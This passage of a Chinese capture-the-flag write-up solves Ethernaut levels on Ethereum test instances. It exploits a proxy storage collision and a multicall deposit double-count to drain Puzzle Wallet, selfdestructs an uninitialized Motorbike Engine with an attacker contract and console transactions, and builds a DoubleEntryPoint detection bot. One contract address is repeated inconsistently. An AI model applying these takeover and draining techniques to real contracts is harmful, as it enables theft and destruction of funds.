所以很明显，产生了存储冲突，proxy中的pendingAdmin及admin实际上对应在puzzleWallet中应该是owner及maxBalance。所以如果我们想修改admin其实可以从maxBalance入手，或者通过pendingAdmin等看一看。

合约交互

想要通过setMaxBalance修改maxBalance有一个先决条件，那就是onlyWhitelisted，即用户需要在白名单中。而要添加到白名单，需要调用addToWhitelist方法，这又需要require(msg.sender == owner, "Not the owner");，所以我们可以先通过修改pendingAdmin修改owner，然后在逐一完成。

我们先生成selector将其和param合并生成交易中的data，以此可以发起对proposeNewAdmin(address)方法的调用。在修改过后此时合约的owner已修改为'0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b'。

通过await contract.addToWhitelist(player)将用户添加到白名单中，此时再用await contract.whitelisted(player)进行检查。

然后，如果要设置setMaxBalance需要满足条件require(address(this).balance == 0, "Contract balance is not 0");即合约本身余额不能为0，而我们通过await getBalance(contract.address)可以查询到合约还有余额0.001以太。我们应当办法将其移除。

此时我们可以查看到槽的存储情况如下，slot 0已变成了用户地址，而slot 1却是关卡合约的地址。

这是什么原因呢？这是因为，在初始化代理合约时，admin变量已经确定，所以当后续调用init时，由于存储冲突，所以maxBalance不为0，所以该方法其实调用就失败了，原始值也就没有更改。

我们想到multicall里面有这么一个限制：

            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }

这是什么意思呢？ 那就是只能存一次，如果在multicall里调用两次deposite函数，我们也不应当重复计算所存的数量。这里只是简单的对data的选择器作了单层校验，我们如果将其封装，似乎是可以绕过的。

我们需要找到调用时发送的数据。其中selector的数据为：

组装成multicall时，其数据为：

再将其封装，data与selector一起传入，调用multicall，同时附上0.001Ether，此时由于没有两个deposit同时调用，就可以绕过。相当于msg.value被重复计算了两次。

此时，可以看出用户在合约中的份额实际变为0.002Ether。

通过await contract.execute(player,web3.utils.toWei('0.002'),0x0)取出所有的Ether，此时合约balance为0。此时，由于满足了我们先前所说的条件，在此之后我们就可以通过setMaxBalance去设置maxBalance从而改变admin了。

通过await contract.setMaxBalance('0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b')改变maxBalance，此时可以发现，slot 1 中的值也随之发生改变，对应的admin也发生了改变。

提交实例，本关卡成功！

总结

代理合约虽好，但其中的坑可不少，一定要仔细设计，用心斟酌。

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25 Motorbike

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0x620Edcd5C5B957E35c9e4E1BB3e8612DD62B9c48。本关卡的要求是通过自毁Engine从而使得Motorbike合约失效。

我们先来看看这题究竟想要干什么：吸取了上一题的教训，这题很明显也注意到存储slot冲突的问题了，代理合约Motorbike不再定义变量去存储，而是定义了被代理合约Engine地址存储的槽编号。

    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

其所有的业务操作都是通过fallback()函数调用_delegate()实现的。

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }

每当有新的请求进来，则会先从存储中获取slot结构体，并在_delegate中进行Engine方法的调用。

接下来我们看看Engine合约，合约定义了一系列函数，其中还包括upgradeToAndCall等函数。除了业务逻辑之外，Motorbike合约的升级也是由Engine实现，所作的其实是修改对应槽的位置并初步调用新的函数（一般来说是初始化函数）。

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }
    
    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
        
        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }

现在我们就要思考攻击的入口了。如果我们仍是以motorbike为对象展开攻击，仍是以delegatecall方式，那么即使自毁，销毁的也将是motorbike合约。所以我们应该是以engine为入口。考虑到engine本身并没有自毁，且其也有升级方法，所以我们可以将engine作为代理合约，自己新建业务合约，最终完成攻击。

攻击合约编写

我们先编写攻击合约，其实很简单，就是带有自毁函数的合约。部署后，其合约地址为0x3A69C8B5c1CB0Fb85485EfB3577E9d8f1131CB82。

pragma solidity ^0.6.0;

contract Attacker {

    constructor() public {

    }

    function destruct(address payable addr) public {
        selfdestruct(addr);
    }

}

合约交互

如果我们想要发起攻击，就应当找到Engine合约究竟是什么？通过Motorbike可知，其地址作为值存储在slot 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc中。所以我们通过await web3.eth.getStorageAt(contract.address,'0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')获取Engine合约地址为0x917e11b988a0aa6184ab8e129fb8bf61cb14cc70。

此时，我们看一看Engine的存储状态，其实都是为空，其原因是Engine只作为函数的提供者，具体变量状态的存储则是通过Motorbike执行。此时Engine本身就是未经初始过的新合约！考虑到在修改业务合约时，需要保证player的角色为upgrader，所以我们将通过initialize完成初始化。

我们通过await web3.eth.sendTransaction({from:player,to:engine,data:selector})生成新的交易，此时Engine合约已完成初始化，显示initialized为1(true)，initializing为0(false)，而upgrader也变为了player，对应的horsepower也完成了修改。

此时，player的角色已经修改为了upgrader，所以我们可以调用upgradeToAndCall完成业务合约的修改。

首先我们要构建调用合约时的data，一般有几种方法。

• 第一种是selector + param，分别算出函数选择器和参数并组合。(函数选择器也可以通过encodeFunctionSignature完成)
  
• 第二种则是web3.eth.abi.encodeFunctionCall()。
  
  我们已经得到了destuct的data数据，我们现在要将其作为bytes注入到upgradeToAndCall中去，见下图：

我们通过await web3.eth.sendTransaction({from:player,to:engine,data:data2})进行自毁，成功后Engine函数已经完成自毁，存储消失，链上也显示了自毁成功！

提交实例，本关卡成功！

总结

这题其实比较简单，需要注意的其实是怎样找到切入点并构造正确的data。

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26 DoubleEntryPoint

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0xb938Cc3cC6c3b97c41628AdEc6d409eEFeb4a824。本关卡的要求是找到合约的漏洞，并通过forta模式进行补救，防止合约被清空所有的代币。

纵观合约，总共有这么几个合约：Forta、CryptoVault、LegacyToken和DoubleEntryPoint，此外还有几个接口，分别是DelegateERC20、IDetectionBot。

我们将分开看看各个合约和接口都分别扮演了怎样的角色：

• DelegateERC20 : 该接口应当实现delegateTransfer方法，专门作为被委托代币合约。

• IDetectionBot : 该接口应当实现handleTransaction方法，针对传入的user和msgData变量进行校验，并判断交易是否成行。

• IForta : 该接口应当实现setDetectionBot、notify以及raiseAlert方法，能否辅助代币合约判断当前交易是否有效。

• Forta : 该类实现IForta接口，可以看到其模式：

  • SetDetectionBot用来设置传入的地址为对应发起地址合约的检测bot。

  function setDetectionBot(address detectionBotAddress) external override {
    require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
    usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }
  

  • notify负责提醒detectionBot对交易进行校验。

  function notify(address user, bytes calldata msgData) external override {
  if(address(usersDetectionBots[user]) == address(0)) return;
  try usersDetectionBots[user].handleTransaction(user, msgData) {
      return;
  } catch {}
  }
  

  • raiseAlert负责接受detectionBot传来的警报。

  function raiseAlert(address user) external override {
      if(address(usersDetectionBots[user]) != msg.sender) return;
      botRaisedAlerts[msg.sender] += 1;
  } 

• CryptoVault（密码金库，笑） : 该合约定义了变量underlying，该变量存储不可被交易的代币。同时该合约又定义了sweepToken，顾名思义，可以取出合约中所存储的代币（除underlying外），个人理解可能是为了保证合约中代币的纯净度。

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }

• LegacyToken（停用代币）： 该合约是停用的代币，在设计之初就写死了transfer功能，即如果没有委托（即尚未停用），即表现正常，如果存在委托（即已经停用，进行了映射之类的），则转而调用委托合约中的delegateTransfer方法。

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }

• DoubleEntryPoint (二次进入点？现在理解来看应该是) ：该合约（实际上）实现了DelegateERC20的接口，但值得注意的点是其delegateTransfer只接受来自父合约（停用代币）的调用，当然该合约受到了forta的保护，通过fortaNotify这一修饰符实现forta的交易前后校验。

    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }

现在我们就要找找漏洞。根据题目中的提示the CryptoVault holds 100 units of it. Additionally the CryptoVault also holds 100 of LegacyToken LGT，也就是说合约既有停用代币，也有委托代币。如果我们在sweepToken时试图除去停用代币，停用代币中的transfer将会调用委托代币的delegateTransfer方法，当两个合约余额相同时，其实也变相完成了侵入。问题就在这里，那么该怎么办呢？

其实我们在delegateTransfer时应当检查，不应当是通过sweepToken透过LegacyToken完成，这就是我们的思路。

攻击合约编写

看一下 function handleTransaction(address user, bytes calldata msgData) external; 可知传入的msgData是破题的关键。msgData按照 forta.notify(player, msg.data);来说应当是selector, to, value, origSender。而这里的origSender又是什么呢？其实是LegacyToken被调用时的msg.sender，后者在漏洞中就是cryptoVault，否则将是其他正常地址，我们可以通过这里进行判断，就是看origSender是否为cryptoVault的地址。

pragma solidity ^0.6.0;

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Attacker {

    IForta iforta_ins;
    address cryptoVault;

    constructor(address _addr, address _addr2) public {
        iforta_ins = IForta(_addr);
        cryptoVault = _addr2;
    }

    function handleTransaction(address user, bytes calldata msgData) external {
        address addr;
        uint256 value;
        address origSender;
        (addr,value,origSender) = abi.decode(msgData[4:],(address, uint256, address));
        if (origSender == cryptoVault){
            iforta_ins.raiseAlert(user);
        }
    }

}

我们通过abi.decode获取到参数，从4开始是为了截取函数选择器，拆分出addr(to)、value及origSender，如果相等，则需要发出警报。（此处比较简单，是因为我觉得detectionBot其实在本处应用就一个入口，就是当delegateTransfer时唤醒操作，而我想sweepToken操作是检测不到的，检测delegateTransfer也没有意义）

合约交互

现在来看，我们得到的contract应该是DoubleEntryPoint，地址为0x85b3686eeEC7092cb36F94566575906ec49767DF，其cryptoVault为'0x1C21b79f726eF47d923153A6c54eD18d62Ef2881'，forta合约为'0x8388c030B72e73357FDaFf4f74A24AA7460b5D5e'。

部署攻击合约，其地址为0x8388c030B72e73357FDaFf4f74A24AA7460b5D5e。

手动通过await web3.eth.sendTransaction({from:player,to:'0x8388c030B72e73357FDaFf4f74A24AA7460b5D5e',data:data})设置关联检测机器人。

提交实例！本关卡成功！

总结

这就是观察者模式的变种，你们感觉到了吗？

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总结

很幸运，在长达3个月的持续更新里，我学到了太多东西，希望以后也能持续学习，给大家分享我的所见、所得、所感！